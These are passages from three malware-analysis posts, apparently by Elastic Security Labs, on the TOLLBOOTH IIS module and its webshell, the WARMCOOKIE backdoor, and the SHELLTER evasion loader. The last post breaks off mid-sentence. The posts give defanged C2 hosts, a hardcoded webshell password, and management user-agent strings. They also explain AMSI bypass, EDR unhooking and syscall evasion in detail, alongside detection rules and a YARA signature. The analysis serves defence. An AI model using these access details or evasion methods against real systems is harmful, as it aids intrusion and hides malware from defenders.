The following is a table describing each IOCTL command handled by the driver.

InitializeStealthMode

After successfully setting up its configuration, process callbacks, and file system filters, the rootkit executes its final initialization routine: InitializeStealthMode. If the configuration flag Kbj_YinshenMode is enabled, it will hide every artifact associated with the rootkit, including registry keys, the .sys file, and other related components, using the same techniques described above.

Code Variations

While the malware is heavily based on the HIDDENDRIVER source code, our analysis identified several minor alterations. The following section breaks down the notable code differences we observed.

The original code in the IsProcessExcluded function consistently excludes the system process (PID 4) from the rootkit's operations. However, the malicious rootkit has an exclusion list for additional process names, as illustrated in the provided screenshot.

The original code's callback for filtering system information (including files, directories, and registries) used the IsDriverEnabled function to verify if the driver functionalities were enabled. However, the observed rootkit introduced an additional, automatic whitelist check for processes with the image name hijack, which corresponds to the userland application.

RMM usage

The GotoHTTP tool is a legitimate Remote Monitoring and Management (RMM) application, deployed by the threat actor to maintain easier access to the compromised IIS server. Its “Browser-to-Client” architecture allows the attacker to control the server from any standard web browser over common web ports (80/443) by routing all traffic through GotoHTTP’s own platform, preventing direct network connection to the attacker’s own infrastructure.

RMMs continue to increase in popularity for use at multiple points of the cyber kill chain and by various threat actors. Most anti-malware vendors do not consider them malicious in isolation and therefore do not block them outright. RMM C2 also only flows to legitimate RMM provider websites, and therefore has the same dynamics for network-based protections and monitoring.

Blocking the mass of currently active RMMs and allowing only the enterprise's preferred RMM would be the optimal protection mechanism. However, this paradigm is only available to enterprises with the right technical knowledge, defensive tooling, mature organizational policies, and coordination across departments.

IIS module analysis

The threat actor was observed deploying both 32-bit and 64-bit versions of TOLLBOOTH, a malicious IIS module. TOLLBOOTH has been previously discussed by Ahnlab and the security researcher, @Azaka. Some of the malware’s key capabilities include SEO cloaking, a management channel, and a publicly accessible webshell. We discovered both native and .NET managed versions being deployed in the wild.

Malware Config Structure

TOLLBOOTH retrieves its configuration dynamically from hxxps://c[.]cseo99[.]com/config/<victim_HTTP_host_value>.json, and the creation of each victim’s JSON config file is handled by the threat actor’s infrastructure. However, hxxps://c[.]cseo99[.]com/config/127.0.0.1.json responded, showing a lack of anti-analysis checks - allowing us to retrieve a copy of a config file for analysis. It can be viewed in this GitHub Gist, and we will reference how some of the fields are used as appropriate.

For native modules, the config and other temporary cache files are Gzip-compressed and stored locally at a hardcoded path C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\. For the managed module, these are AES-encrypted with key YourSecretKey123 and IV 0123456789ABCDEF, Gzip-compressed, and stored at C:\\Windows\\Temp\\AcpLogs\\.

Webshell

TOLLBOOTH exposes a webshell at the /mywebdll path, requiring a password of hack123456! for file uploads and execution of commands. Form submission sends a POST request to the /scjg endpoint.

The password is hardcoded in the binary, and this webshell feature is present in both v1.6.0 and v1.6.1 of the native version of TOLLBOOTH.

The file upload functionality contains a bug that stems from its sequential, order-dependent parsing of multipart/form-data fields. The standard HTML form is structured such that the file input field appears before the directory input fields. The server processing the request parts attempts to handle the file data before the destination directory, creating a dependency conflict that causes standard uploads to fail. By manually reordering the multipart/form-data parts, a successful file upload can still be triggered.

Management Channel

TOLLBOOTH exposes a few additional endpoints for C2 operators’ management/debug purposes. They are only accessible by setting the User Agent to one of the following (though it is configurable):

Hijackbot
gooqlebot
Googlebot/2.;
Googlébot
Googlêbot
Googlebót;
Googlebôt;
Googlebõt;
Googlèbot;
Googlëbot;
Binqbot
bingbot/2.;
Bíngbot
Bìngbot
Bîngbot
Bïngbot
Bingbót;
Bingbôt;
Bingbõt;

The /health endpoint provides a quick way to assess the module’s health, returning the file name to access the config stored at c[.]cseo99[.]com, disk space information, the module's installation path, and the version of TOLLBOOTH.

The /debug endpoint provides more details, including a summary of the configuration, cache directory, HTTP request information, etc.

The parsed configuration is accessible at /conf.

The /clean endpoint allows the operator to clear the current configuration by deleting the config files stored locally (clean?type=conf) in order to update them on the victim server, clear any other temporary caches the malware uses (clean?type=conf), or clear both - everything in the C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\ path (clean?type=all).

SEO Cloaking

The main goal of TOLLBOOTH is SEO cloaking, a process that involves presenting keyword-optimized content to search engine crawlers, while concealing it from casual user browsing, to achieve higher search rankings for the page. Once a human visitor clicks the link from the boosted search results, the malware redirects them to a malicious or fraudulent page. This tactic is an effective way to increase traffic to malicious pages compared to alternatives like direct phishing, because users trust search engine results they request more than unsolicited emails.

TOLLBOOTH differentiates between bots and visitors by checking the User Agent and the Referer headers for values defined in the config.

Both the native and the managed modules are implemented almost identically. The only difference is that native modules v1.6.0 and v1.6.1 check both the User Agent and Referer against the seoGroupRefererMatchRules list, and the .NET module v1.6.1 checks the User Agent against the seoGroupUaMatchRules list and Referer against the seoGroupRefererMatchRules list.

Based on the current configuration, the values for seoGroupUaMatchRules and seoGroupRefererMatchRules are googlebot and google, respectively. A GoogleBot crawler would have a User Agent match and not a Referer match, whereas a human visitor would have a Referer match but not a User Agent match. Looking at the fallback list containing both bing and yahoo suggests that those search engines were targeted in the past as well.

The code snippet below is responsible for building a page filled with keyword-stuffed links that search engine crawlers will see.

The module constructs a link farm in two phases. First, to build internal link density, it retrieves a list of random keywords from resource URIs defined in the affLinkMainWordSeoResArr configuration field. For each keyword, it generates a "local link" pointing to another SEO page on the same compromised website. Next, it builds the external network by retrieving "affiliate link resources" from the affLinkSeoResArr field. These resources are a list of URIs pointing to SEO pages on other external domains that are also infected with TOLLBOOTH. The URIs look like hxxps://f[.]fseo99[.]com/<date>/<md5_file_hash><.txt/.html> in the configuration. The module then creates hyperlinks from the current site to these other victims. This technique, known as link farming, is designed to artificially inflate search engine rankings across the entire network of compromised sites.

Below is an example of what a crawler bot would see when visiting the landing page of a web server infected with TOLLBOOTH.

URL path prefixes to the SEO pages contain words or phrases from the seoGroupUrlMatchRules config field. This is also referenced in the site redirection logic targeting visitors. These are currently:

• stock
• invest
• summary
• datamining
• market-outlook
• bullish-on
• news-overview
• news-volatility
• video/
• app/
• blank/

Templates and content for SEO pages are also externally retrieved from URIs that look like hxxps://f[.]fseo99[.]com/<date>/<md5_file_hash><.txt/.html> in the config. Here is an example of what one of the SEO pages looks like:

For the user redirection logic, the module first gathers a fingerprint of the visitor, including their IP address, user agent, referrer, and the SEO page’s target keyword. It then sends this information via a POST request to hxxps://api[.]aseo99[.]com/client/landpage. If the request is successful, the server responds with a JSON object containing a specific landpageUrl, which becomes the destination for the redirect.

If the communication fails for any reason, TOLLBOOTH falls back to constructing a new URL pointing to the same C2 endpoint but instead encodes the visitor’s information directly into the URL as GET parameters. Finally, the chosen URL - either from the successful C2 response or the fallback - is embedded into a JavaScript snippet (window.location.href) and sent to the victim’s browser, forcing an immediate redirection.

Page Hijacker

For the native modules, if the URI path contains xlb, TOLLBOOTH responds with a custom loader page containing a script tag. This script's src attribute points to a dynamically generated URL, mlxya[.]oss-accelerate[.]aliyuncs[.]com/<12_random_alphanumeric_characters>, which is used to retrieve an obfuscated next-stage JavaScript payload.

The deobfuscated payload appears to be a page-replacement tool that executes based on specific trigger keywords (e.g., xlbh, mxlb) found in the URL. Once triggered, it contacts one of the attacker-controlled endpoints at asf-sikkeiyjga[.]cn-shenzhen[.]fcapp[.]run/index/index?href= or ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run/index/index?key=, appending the current page’s URL as a Base64-encoded parameter to identify the compromised site. The script then uses document.write() to completely wipe the current page’s DOM and replace it with the server’s response. While the final payload could not be retrieved at the time of writing, this technique is designed to inject attacker-controlled content, most commonly a malicious HTML page or a JS redirect to another malicious site.

Campaign targeting

While conducting the analysis of TOLLBOOTH and its associated webshell, we identified multiple mechanisms to identify additional victims through active and semi-passive collection methods.

We then partnered with @SreekarMad at Validin to leverage his expertise and their scanning infrastructure in an effort to develop a more comprehensive list of victims.

At the time of publication, 571 IIS server victims were identified with active TOLLBOOTH infections.

These servers are globally distributed (with one major exception, described below), and do not fit into any neat industry vertical buckets. For these reasons, along with the sheer scale of the operation, we are led to believe that victim selection is untargeted and leverages automated scanning to identify IIS servers reusing publicly listed machine keys.

The collaboration with Validin and Texas A&M System Cybersecurity yielded a robust amount of metadata about the additional TOLLBOOTH-infected victims.

Automated exploitation may also be employed, but TAMUS Cybersecurity noted that the post-exploitation activity appeared to be interactive.

Validin discovered other potentially infected domains linked through the SEO farming link configs, but when checked for the webshell interface, found it inaccessible on some. After conducting a deeper manual investigation into these servers, we determined that they had been, in fact, TOLLBOOTH-infected, but either the owners remediated the issue or the attackers backed themselves out.

Subsequent scanning revealed that many of the same servers were reinfected. We have taken this to indicate that remediation was incomplete. One plausible explanation is that merely removing the threat does not close the vulnerability left open by the machine key reuse. So, victims who omit this final step are likely to be reinfected through the same mechanism. See the “Remediating REF3927” section below for additional details.

Geography

The geographic distribution of victims notably excludes any servers within China’s borders. One server was identified in Hong Kong, but it was hosting a .co.uk domain. This probable geofencing aligns with behavioral patterns from other criminal threats, where they implement mechanisms to ensure they do not target systems in their home countries. This mitigates their risk of prosecution as the governments of these countries tend to turn a blind eye toward, if not outright endorse, criminal activity targeting foreigners.

Diamond model

Elastic Security Labs utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leverages Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a single diamond.

Remediating REF3927

Remediation of the infection itself can be completed through industry best practices, such as reverting to a clean state and addressing malware and persistence mechanisms. However, in the face of potential automated scanning and exploitation, the vulnerability of the reused machine key remains for whichever bad actor wants to take over the server.

Therefore, remediation must include rotation of machine keys to a new, properly generated key.

Conclusion

The REF3927 campaign highlights how a simple configuration error, such as using a publicly exposed machine key, can lead to significant compromise. In this event, Texas A&M University System Cybersecurity and the affected customer took swift action to remediate the server, but based on our research, there continue to be other victims targeted using the same techniques.

The threat actor’s integration of open-source tooling, RMM software, and a malicious driver is an effective combination of techniques that have proven successful in their operations. Administrators of publicly exposed IIS environments should audit their machine key configurations, ensure robust security logging, and leverage endpoint detection solutions such as Elastic Defend during potential incidents.

Detection logic

Detection rules

• Web Shell Detection: Script Process Child of Common Web Processes

Prevention rules

• Suspicious Execution via Windows Services
• Potential Shellcode Injection via a WebShell
• Execution from Suspicious Directory

YARA signatures

Elastic Security has created the following YARA rules to prevent the malware observed in REF3927:

• Windows.Trojan.Tollbooth
• Windows.Trojan.HiddenCli
• Windows.Trojan.HiddenDriver

REF3927 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Defense Evasion
• Credential Access
• Collection
• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Exploit Public-Facing Application
• Server Software Component: IIS Components
• OS Credential Dumping
• Hide Artifacts: Hidden Files and Directories
• Data from Local System
• Rootkit
• Valid Accounts

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/
• https://asec.ahnlab.com/en/87804/
• https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/
• https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters
• https://github.com/ekkoo-z/Z-Godzilla_ekp
• https://x.com/AzakaSekai_/status/1969294757978652947

Addendum

HarfangLab posted their draft research on this threat the same day this post was released. In it, there are additional complementary insights:

• https://x.com/securechicken/status/1980715257791193420
• https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/

Elastic Security Labs continues to track developments in the WARMCOOKIE codebase, uncovering new infrastructure tied to the backdoor. Since our original post, we have been observing ongoing updates to the code family and continued activity surrounding the backdoor, including new infections and its use with emerging loaders. A recent finding by the IBM X-Force team highlighted a new Malware-as-a-Service (MaaS) loader, dubbed CASTLEBOT, distributing WARMCOOKIE.

In this article, we will review new features added to WARMCOOKIE since its initial publication. Following this, we’ll present the extracted configuration information from various samples.

Key takeaways

• The WARMCOOKIE backdoor is actively developed and distributed
• Campaign ID, a recently added marker, sheds light on targeting specific services and platforms
• WARMCOOKIE operators appear to receive variant builds distinguished by their command handlers and functionality
• Elastic Security Labs identified a default certificate that can be used to track new WARMCOOKIE C2 servers

WARMCOOKIE recap

We first published research about WARMCOOKIE in the summer of 2024, detailing its functionality and how it was deployed through recruiting-themed phishing campaigns. Since then, we have observed various development changes to the malware, including the addition of new handlers, a new campaign ID field, code optimization, and evasion adjustments.

WARMCOOKIE’s significance was highlighted in May 2025, during Europol’s Operation Endgame, in which multiple high-profile malware families, including WARMCOOKIE, were disrupted. Despite this, we are still seeing the backdoor being actively used in various malvertising and spam campaigns.

WARMCOOKIE updates

Handlers

During our analysis of the new variant of WARMCOOKIE, we identified four new handlers introduced in the summer of 2024, providing quick capabilities to launch executables, DLLs, and scripts:

• PE file execution
• DLL execution
• PowerShell script execution
• DLL execution with Start export

The most recent WARMCOOKIE builds we have collected contain the DLL/EXE execution functionality, with PowerShell script functionality being much less prevalent. These capabilities leverage the same function by passing different arguments for each file type. The handler creates a folder in a temporary directory, writing the file content (EXE / DLL / PS1) to a temporary file in the newly created folder. Then, it executes the temporary file directly or uses either rundll32.exe or PowerShell.exe. Below is an example of PE execution from procmon.

String bank

Another change observed was the adoption of using a list of legitimate companies for the folder paths and scheduled task names for WARMCOOKIE (referred to as a “string bank”). This is done for defense evasion purposes, allowing the malware to relocate to more legitimate-looking directories. This approach uses a more dynamic method (a list of companies to use as folder paths, assigned at malware runtime) as opposed to hardcoding the path into a static location, as we observed with previous variants (C:\ProgramData\RtlUpd\RtlUpd.dll).

The malware uses GetTickCount as a seed for the srand function to randomly select a string from the string bank.

The following depicts an example of a scheduled task showing the task name and folder location:

By searching a few of these names and descriptions, our team found that this string bank is sourced from a website used to rate and find reputable IT/Software companies.

Smaller changes

In our last write-up, WARMCOOKIE passed a command-line parameter using /p to determine if a scheduled task needs to be created; this parameter has been changed to /u. This appears to be a small, but additional change to break away from previous reporting.

In this new variant, WARMCOOKIE now embeds 2 separate GUID-like mutexes; these are used in combination to better control initialization and synchronization. Previous versions only used one mutex.

Another noticeable improvement in the more recent versions of WARMCOOKE is code optimization. The implementation seen below is now cleaner with less inline logic which makes the program optimized for readability, performance, and maintainability.

Clustering configs

Since our initial publication in July 2024, WARMCOOKIE samples have included a campaign ID field. This field is used by operators as a tag or marker providing context to the operators around the infection, such as the distribution method. Below is an example of a sample with a campaign ID of traffic2.

Based on the extracted configurations of samples in the last year, we hypothesize that the embedded RC4 key can be used to distinguish between operators using WARMCOOKIE. While unproven, we observed from various samples that some patterns started to emerge based on clustering the RC4 key.

By using the RC4 key, we can see overlap in campaign themes over time, such as the build using RC4 key 83ddc084e21a244c, which leverages keywords such as bing, bing2, bing3,and aws for campaign mapping. An interesting note, as it relates to these build artifacts, is that some builds contain different command handlers/functionality. For example, the build using the RC4 key 83ddc084e21a244c is the only variant we have observed that has PowerShell script execution capabilities, while most recent builds contain the DLL/EXE handlers.

Other campaign IDs appear to use terms such as lod2lod, capo, or PrivateDLL. For the first time, we saw the use of embedded domains versus numeric IP addresses in WARMCOOKIE from a sample in July 2025.

WARMCOOKIE infrastructure overview

After extracting the infrastructure from these configurations, one SSL certificate stands out. Our hypothesis is that the certificate below is possibly a default certificate used for the WARMCOOKIE back-end.

Issuer     
    C=AU, ST=Some-State, O=Internet Widgits Pty Ltd 
Not Before     
    2023-11-25T02:46:19Z
Not After
    2024-11-24T02:46:19Z  
Fingerprint (SHA1)     
    e88727d4f95f0a366c2b3b4a742950a14eff04a4
Fingerprint (SHA256)
    8c5522c6f2ca22af8db14d404dbf5647a1eba13f2b0f73b0a06d8e304bd89cc0

Certificate details

Note the “Not After” date above shows that this certificate is expired. However, new (and reused) infrastructure continues to be initialized using this expired certificate. This is not entirely new infrastructure, but rather a reconfiguration of redirectors to breathe new life into existing infrastructure. This could indicate that the campaign owners are not concerned with the C2 being discovered.

Conclusion

Elastic Security Labs continues to observe WARMCOOKIE infections and the deployment of new infrastructure for this family. Over the last year, the developer has continued to make updates and changes, suggesting it will be around for some time to come. Based on its selective usage, it continues to remain under the radar. We hope that by sharing this information, organizations will be better equipped to protect themselves from this threat.

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Defense Evasion
• Discovery
• Command and Control
• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Phishing
• User Execution: Malicious Link
• Command and Scripting Interpreter: PowerShell
• System Information Discovery
• Scheduled Task/Job
• Screen Capture
• Command and Scripting Interpreter: Windows Command Shell
• Indicator Removal: Relocate Malware

Detecting malware

Prevention

• Suspicious PowerShell Downloads
• Scheduled Task Creation by an Unusual Process
• Suspicious PowerShell Execution via Windows Scripts
• RunDLL32 with Unusual Arguments
• Windows.Trojan.WarmCookie

YARA

Elastic Security has created the following YARA rules to identify this activity.

• Windows.Trojan.WarmCookie

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://www.ibm.com/think/x-force/dissecting-castlebot-maas-operation
• https://www.europol.europa.eu/media-press/newsroom/news/operation-endgame-strikes-again-ransomware-kill-chain-broken-its-source

Elastic Security Labs is observing multiple campaigns that appear to be leveraging the commercial AV/EDR evasion framework, SHELLTER, to load malware. SHELLTER is marketed to the offensive security industry for sanctioned security evaluations, enabling red team operators to more effectively deploy their C2 frameworks against contemporary anti-malware solutions.

Key takeaways

• Commercial evasion framework SHELLTER acquired by threat groups
• SHELLTER has been used in multiple infostealer campaigns since April 2025, as recorded in license metadata
• SHELLTER employs unique capabilities to evade analysis and detection
• Elastic Security Labs releases dynamic unpacker for SHELLTER-protected binaries

Throughout this document we will refer to different terms with “shellter” in them. We will try to 
maintain the following style to aid readability:
  *  “Shellter Project” - the organization that develops and sells the Shellter evasion framework
  *  “Shellter Pro Plus/Elite” - the commercial names for the tools sold by the Shellter Project
  *  “SHELLTER” - the loader we have observed in malicious usage and are detailing in this report
  *  “SHELLTER-protected” - a descriptor of final payloads that the SHELLTER loader delivers

SHELLTER Overview

SHELLTER is a commercial evasion framework that has been assisting red teams for over a decade. It helps offensive security service providers bypass anti-virus and, more recently, EDR tools. This allows red teams to utilize their C2 frameworks without the constant development typically needed as security vendors write detection signatures for them.

While the Shellter Project does offer a free version of the software, it has a limited feature-set, 
only 32-bit .exe support, and is generally better understood and detected by anti-malware 
products. The free version is not described in this article.

SHELLTER, like many other offensive security tools (OSTs), is a dual-use product. Malicious actors, once they gain access to it, can use SHELLTER to extend the lifespan of their tools. Reputable offensive security vendors, such as the Shellter Project, implement safeguards to mitigate the risk of their products being used maliciously. These measures include geographic sales limits, organizational due diligence, and End User License Agreements (EULAs). Despite these efforts, highly motivated malicious actors remain a challenge.

In mid-June, our research identified multiple financially motivated infostealer campaigns that have been using SHELLTER to package payloads beginning late April 2025. Evidence suggests that this is the Shellter Elite version 11.0, which was released on April 16, 2025.

SHELLTER is a complex project offering a wide array of configurable settings tailored for specific operating environments, payload delivery mechanisms, and encryption paradigms. This report focuses exclusively on features observed in identified malicious campaigns. While some features appear to be common, a comprehensive review of all available features is beyond the scope of this document.

SHELLTER Loader - Technical Details

The following sections describe capabilities that resemble some of the Shellter Project’s published Elite Exclusive Features. Our assessment indicates that we are observing Shellter Elite. This conclusion is based on a review of the developer's public documentation, observation of various samples from different builds with a high degree of code similarity, and the prevalence of evasion features scarcely observed.

Polymorphic Junk Code

SHELLTER-protected samples commonly employ self-modifying shellcode with polymorphic obfuscation to embed themselves within legitimate programs. This combination of legitimate instructions and polymorphic code helps these files evade static detection and signatures, allowing them to remain undetected.

By setting a breakpoint on VirtualAlloc in a SHELLTER-protected RHADAMANTHYS sample, we can see the call stack of this malware sample.

This type of polymorphic code confuses static disassemblers and impairs emulation efforts. These instructions show up during the unpacking stage, calling one of these pairs of Windows API functions to allocate memory for a new shellcode stub:

• GetModuleHandleA / GetProcAddress
• CreateFileMappingW / MapViewOfFile

The SHELLTER functionality is contained within a new, substantial function. It’s reached after additional unpacking and junk instructions in the shellcode stub. IDA Pro or Binary Ninja can successfully decompile the code at this stage.

Unhooking System Modules via File-mappings

To bypass API hooking techniques from AV/EDR vendors, SHELLTER maps a fresh copy of ntdll.dll via NtCreateSection and NtMapViewOfSection.

There is also a second option for unhooking by loading a clean ntll.dll from the KnownDLLs directory via NtOpenSection and NtMapViewOfSection.

Payload Encryption and Compression

SHELLTER encrypts its final, user-defined payloads using AES-128 CBC mode. This encryption can occur in one of two ways:

• Embedded key/IV: A randomly generated key/IV pair is embedded directly within the SHELLTER payload.
• Server-fetched key/IV: The key/IV pair is fetched from an adversary-controlled server.

For samples that utilized the embedded option, we successfully recovered the underlying payload.

The encrypted blobs are located at the end of each SHELLTER payload.

The AES key and IV can be found as constants being loaded into stack variables at very early stages of the payload as part of its initialization routine.

In Shellter Elite v11.0, by default, payloads are compressed using the LZNT1 algorithm before being encrypted.

DLL Preloading & Call Stack Evasion

The “Force Preload System Modules” feature enables preloading of essential Windows subsystem DLLs, such as advapi32.dll, wininet.dll, and crypt32.dll, to support the underlying payload’s operations. The three configurable options include:

• --Force-PreloadModules-Basic (16 general-purpose modules)
• --Force-PreloadModules-Networking (5 network-specific modules)
• --Force-PreloadModules-Custom (up to 16 user-defined modules)

These modules are being loaded through either LoadLibraryExW or LdrLoadDll. Details on API proxying through custom Vectored Exception Handlers (VEH) will be discussed in a subsequent section.

Below is an example of a list of preloaded modules in a SHELLTER-protected payload that matches the --Force-PreloadModules-Basic option, found in a sample that deploys a simple C++ loader client abusing BITS (Background Intelligent Transfer Service) for C2 – an uncommon approach favored by some threats.

The following example is a list that matches the --Force-PreloadModules-Networking option found in a sample loading LUMMA.

This feature (released in Shellter Pro Plus v10.x) leverages the call stack evasion capability to conceal the source of the LoadLibraryExW call while loading networking and cryptography-related libraries.

Below is an example of a procmon trace when loading wininet.dll, showing a truncated call stack:

In the same sample that has the --Force-PreloadModules-Basic flag enabled, we observed that the dependencies of the preloaded modules were also subject to call stack corruption. For instance, urlmon.dll also conceals the source of the LoadLibraryExW call for its dependencies iertutil.dll, srvcli.dll, and netutils.dll.

Unlinking of AV/EDR Modules

SHELLTER includes functionality to unlink decoy DLL modules that are placed inside the Process Environment Block (PEB). These decoy modules are used by some security vendors as canaries to monitor when shellcode attempts to enumerate the PEB LDR list manually. PEB LDR is a structure in Windows that contains information about a process's loaded modules.

We only observed one unique module name based on its hash (different per sample), which ends up resolving to kern3l32.dll [sic].

API Hashing Obfuscation

Observed samples employ time-based seeding to obfuscate API addresses. The malware first reads the SystemTime value from the KUSER_SHARED_DATA structure at address 0x7FFE0014 to derive a dynamic XOR key.

It then uses a seeded-ROR13 hashing algorithm on API names to resolve the function addresses at runtime.

Once resolved, optionally, these pointers are obfuscated by XORing them with the time-based key and applying a bitwise rotation before being stored in a lookup table. This tactic is applied throughout the binary to conceal a variety of data such as other function pointers, syscall stubs, and handles of loaded modules.

License Check and Self-disarm

For each SHELLTER payload, there are three embedded FILETIME structures. In an example sample, these were found to be:

• License expiry datetime (2026-04-17 19:17:24.055000)
• Self-disarm datetime (2026-05-21 19:44:43.724952)
• Infection start datetime (2025-05-21 19:44:43.724952)

The license expiry check compares the current time to the license expiry datetime, setting the license_valid flag in the context structure. There are 28 unique call sites (likely 28 licensed features) to the license validity check, where the license_valid flag determines whether the main code logic is skipped, confirming that the license expiry datetime acts as a kill switch.

By default, the self-disarm date is set exactly one year after the initial infection start date. When the self-disarm flag is triggered, several cleanup routines are executed. One such routine involves unmapping the manually loaded ntdll module (if present) and clearing the NTAPI lookup table, which references either the manually mapped ntdll module or the one loaded during process initialization.

While the Self-disarm and Infection start datetimes are different from sample to sample, we note that the License expiry datetime (2026-04-17 19:17:24.055000) remains constant.

It is possible that this time is uniquely generated for each license issued by The Shellter Project. If so, it would support the hypothesis that only a single copy of Shellter Elite has been acquired for malicious use. This value does not appear in static analysis, but shows up in the unpacked first stage.

Below is a YARA rule that can be used to identify this hardcoded license expiry value in the illicit SHELLTER samples we’ve examined:

rule SHELLTER_ILLICIT_LICENSE {  
    meta:  
        author = "Elastic Security"  
        last_modified = "2025-07-01"  
        os = "Windows"  
        family = "SHELLTER"  
        threat_name = "SHELLTER_ILLICIT_LICENSE"

    strings:

        // 2026-04-17 19:17:24.055000  
        $license_server = { c7 84 24 70 07 00 00 70 5e 2c d2 c7 84 24 74 07 00 00 9e ce dc 01}

    condition:  
        any of them  
}  

Memory Scan Evasion

SHELLTER-protected samples implemented various techniques, including runtime evasions, to avoid detection. These types of techniques include:

• Decoding and re-encoding instructions at runtime
• Removal of execute permissions on inactive memory pages
• Reducing footprint, impacting in-memory signatures using YARA
• Using Windows internals structures, such as the PEB, as temporary data holding spots

SHELLTER generates a trampoline-style stub based on the operating system version. There is a 4 KB page that holds this stub, where the memory permissions fluctuate using NtQueryVirtualMemory and NtProtectVirtualMemory.

Once the page is active, the encoded bytes can be observed at this address, 0x7FF5FFCE0000.

SHELLTER decodes this page when active through an XOR loop using the derived SystemTime key from the KUSER_SHARED_DATA structure.

Below is this same memory page (0x7FF5FFCE0000), showing the decoded trampoline stub for the syscall (ntdll_NtOpenFile).

When the functionality is needed, the memory page permissions are set with Read/Execute (RX) permissions. After execution, the pages are set to inactive.

The continuous protection of key functionality during runtime complicates both analysis and detection efforts. This level of protection is uncommon in general malware samples.

Indirect Syscalls / Call stack Corruption

As shown in the previous section, SHELLTER bypasses user-mode hooks by using trampoline-based indirect syscalls. Instead of invoking syscall directly, it prepares the stack with the address of a clean syscall instruction from ntdll.dll. A ret instruction then pops this address into the RIP register, diverting execution to the syscall instruction stealthily.

Below is an example of Elastic Defend VirtualProtect events, showing the combination of the two evasions (indirect syscall and call stack truncation). This technique can bypass or disrupt various security detection mechanisms.

Advanced VM/Sandbox Detection

SHELLTER’s documentation makes a reference to a hypervisor detection feature. A similar capability is observed in our malicious samples after a call to ZwQuerySystemInformationEx using CPUID and _bittest instructions. This functionality returns various CPU information along with the Hyper-Threading Technology (HTT) flag.

Debugger Detection (UM/KM)

SHELLTER employs user-mode and kernel-mode debugging detection using Process Heap flags and checking the KdDebuggerEnabled flag via the _KUSER_SHARED_DATA structure.

AMSI Bypass

There are two methods of AMSI bypassing. The first method involves in-memory patching of AMSI functions. This technique searches the functions for specific byte patterns and modifies them to alter the function’s logic. For example, it overwrites a 4-byte string "AMSI" with null bytes and patches conditional jumps to its opposite.

The second method is slightly more sophisticated. First, it optionally attempts to sabotage the Component Object Model (COM) interface lookup by finding the CLSID_Antimalware GUID constant {fdb00e52-a214-4aa1-8fba-4357bb0072ec} within amsi.dll, locating a pointer to it in a writable data section, and corrupting that pointer to make it point 8 bytes before the actual GUID.

The targeted pointer is the CLSID pointer in the AMSI module's Active Template Library (ATL) object map entry, a structure used by the DllGetClassObject function to find and create registered COM classes. By corrupting the pointer in this map, the lookup for the antimalware provider will fail, preventing it from being created, thus causing AmsiInitialize to fail with a CLASS_E_CLASSNOTAVAILABLE exception.

It then calls AmsiInitialize - If the previous patch did not take place and the API call is successful, it performs a vtable patch as a fallback mechanism. The HAMSICONTEXT obtained from AmsiInitialize contains a pointer to an IAntimalware COM object, which in turn contains a pointer to its virtual function table. The bypass targets the function IAntimalware::Scan in this table. To neutralize it, the code searches the memory page containing the IAntimalware::Scan function for a ret instruction.

After finding a suitable gadget, it overwrites the Scan function pointer with the address of the ret gadget. The result is that any subsequent call to AmsiScanBuffer or AmsiScanString will invoke the patched vtable, jump directly to a ret instruction, and immediately return.

Vectored Exception Handler API Proxy

There is a sophisticated API proxying mechanism which is achieved by redirecting calls to resolved APIs and crafted syscall stubs through a custom exception handler, which acts as a control-flow proxy. It can be broken down into two phases: setup and execution.

Phase 1 involves allocating two special memory pages that will serve as “triggers” for the exception handler. Protection for these pages are set to PAGE_READONLY, and attempting to execute code there will cause a STATUS_ACCESS_VIOLATION exception, which is intended. The addresses of these trigger pages are stored in the context structure:

• api_call_trigger_page - The page that will be called to initiate the proxy.
• api_return_trigger_page - The page that the actual API will return to.

An exception handler template from the binary is copied into an allocated region and registered as the primary handler for the process using RtlAddVectoredExceptionHandler. A hardcoded magic placeholder value (0xe1e2e3e4e5e6e7e8) in the handler is then overwritten with a pointer to the context structure itself.

Looking at an example callsite, if the VEH proxy is to be used, the address of GetCurrentDirectoryA will be stored into ctx_struct->target_API_function, and the API function pointer is overwritten with the address of the call trigger page. This trigger page is then called, triggering a STATUS_ACCESS_VIOLATION exception.

Control flow is redirected to the exception handler. The faulting address of the exception context is checked, and if it matches the call trigger page, it knows it is an incoming API proxy call and performs the following:

• Save the original return address
• Overwrite the return address on the stack with the address of the return trigger page
• Sets the RIP register to the actual API address saved previously in ctx_struct->target_API_function.

The GetCurrentDirectoryA call is then executed. When it finishes, it jumps to the return trigger page, causing a second STATUS_ACCESS_VIOLATION exception and redirecting control flow back to the exception handler. The faulting address is checked to see if it matches the return trigger page; if so, RIP is set to the original return address and the control flow returns to the original call site.

Campaigns

In June, Elastic Security Labs identified multiple campaigns deploying various information stealers protected by Shellter Elite as recorded by license information present in each binary. By taking advantage of the above tooling, we observed threat actors across different campaigns quickly integrate this highly evasive loader into their own workflows.

LUMMA

LUMMA infostealer was being distributed with SHELLTER starting in late April, as evidenced by metadata within binaries. While the initial infection vector is not clear, we were able to verify (using ANY.RUN) that related files were being hosted on the MediaFire file hosting platform.

Want-to-Sell

On May 16th, Twitter/X user @darkwebinformer posted a screenshot with the caption:

